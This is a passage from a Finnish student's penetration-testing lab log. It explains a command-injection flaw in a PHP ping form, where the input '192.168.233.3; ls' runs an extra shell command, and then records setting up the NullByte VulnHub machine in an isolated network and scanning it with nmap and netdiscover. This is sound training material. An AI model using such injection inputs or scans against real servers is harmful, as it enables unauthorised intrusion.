echo '<pre>'.$cmd.'</pre>';
}
}
?>
Eli meidän koodi suoritetaan elsessä kun pingaamme kohdekonetta eli itseämme. Flägi -c 3 lähettää kolme ping pakettia. $target on meidän syöttökenttäarvomme. shell_exec ajaa linux-komentokehotetta. \; on linuxissa rivipääte, eli kun syötetään 192.168.233.3; ls
, palvelin suorittaa terminaalissaan ping - 3 192.168.233.3; ls
ja palauttaa meille pingin lisäksi php-tiedoston kansion sisällön. Näin hyökkääjä voisi ajaa omia linux-komentojaan palvelimella.
l) Asenna jokin kone Vulnhub:ista samaan Internetistä eristettyyn verkkoon Kalin kanssa.
Ladataan NullByte: 1 vm koska se oli yksi ensimmäisistä google-osumista ja siihen oli sen verran monta tutoriaalia ja sillä oli jo ikää koska se oli julkaistu 2015, että jos se olisi kovin epäluotettava, se olisi varmasti jo tiedossa. Myös taitotaso basic to intermediate kuulostaa hyvälle.
Ladataan kone zip-tiedostona ja puretaan. Sitten luodaan uusi vm VirtualBoxissa importtaamalla purettu ova-tiedosto sinne. Oletuksena NullBytellä oli network adapter bridged tilassa, ilmeisesti eräässä vaarallisimmista vaihtoehdoista haavoittuvalle koneelle. Vaihdetaan se omaan VirtualBox sisäverkkoomme Kalin ja Metasploitablen kanssa. Käynnistetään hyökkääjä Kali ja uusi kohdekone NullByte.
m) Skannaa Vulnhubista hakemasi kone, ja analysoi tulokset.
Koska en tiedä NullByten käyttäjätunnusta/salasanaa enkä voi ajaa ifconfigia siellä tehdään ping sweep Kalilla ja katsotaan verkosta löytyvät koneet nmap -sn 192.168.233.0/24 -oA webscanNullByte
ja tallennetaan ne webscanNullByte-tiedostoihin. Kaksi konetta josta tunnistamme itsemme ja kohdekone löytyy ip:stä 192.168.233.6 (vai löytyykö?).
Kokeillaan myös toista tapaa tehdä verkkoskanni: sudo netdiscover
. nmap skannasi koneet reilussa 16:sta sekunnissa, netdiscovery vie paljon pidemmän aikaa. Netdiscovery löytää useampia koneita kuin nmap, mikä on aika ihmeellistä, eihän tässä verkossa pitäisi olla mitään muita koneita nyt kun metasploitable2:kin on suljettu? https://forums.virtualbox.org/viewtopic.php?f=7&t=98447. Eli aiemmin nmapilla löydetty kone .6 ja uusi löydös .2 joiden mac vendorit / hostnamet on “PCS Systemtechnik Gmbh” ja uusi kone tuntemattomalta vendorilta .4. Ehkä se onkin kohdekoneemme?
Kokeillaan pingata konetta .4, mitään vastausta ei tule. Kokeillaan sitten pingata nmapin ja netdicoveryn löytämää konetta .6. Sieltä tulee vastauksia. Ajetaan verbose porttiskanni kohteeseen: nmap -sV 192.168.233.6 -oA NullByteportscan
. Kolme porttia auki, http 80 ja ssh 777 ja rpcbind 111. ssh palvelu on tavallisesti portissa 22 ja 1-1024 portit pitäisi olla varattu tunnettuja palveluita varten. Ssh:n voi kuitenkin asettaa myös näihinkin portteihin, ilmeisesti tarkoituksena lisäturva automatisoituja hyökkäyksiä vastaan: https://linuxize.com/post/how-to-change-ssh-port-in-linux/. Myös Metasploitablessa portti 111 ja rpcbind oli auki. Sen tehtävä on välittää tietoa unix-pohjaisten järjestelmien välillä.
└─$ nmap -sV 192.168.233.6 -oA NullByteportscan
Starting Nmap 7.91 ( https://nmap.org ) at 2021-11-07 14:00 EST
Nmap scan report for 192.168.233.6
Host is up (0.00091s latency).
Not shown: 997 closed ports
PORT STATE SERVICE VERSION
80/tcp open http Apache httpd 2.4.10 ((Debian))
111/tcp open rpcbind 2-4 (RPC #100000)
777/tcp open ssh OpenSSH 6.7p1 Debian 5 (protocol 2.0)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel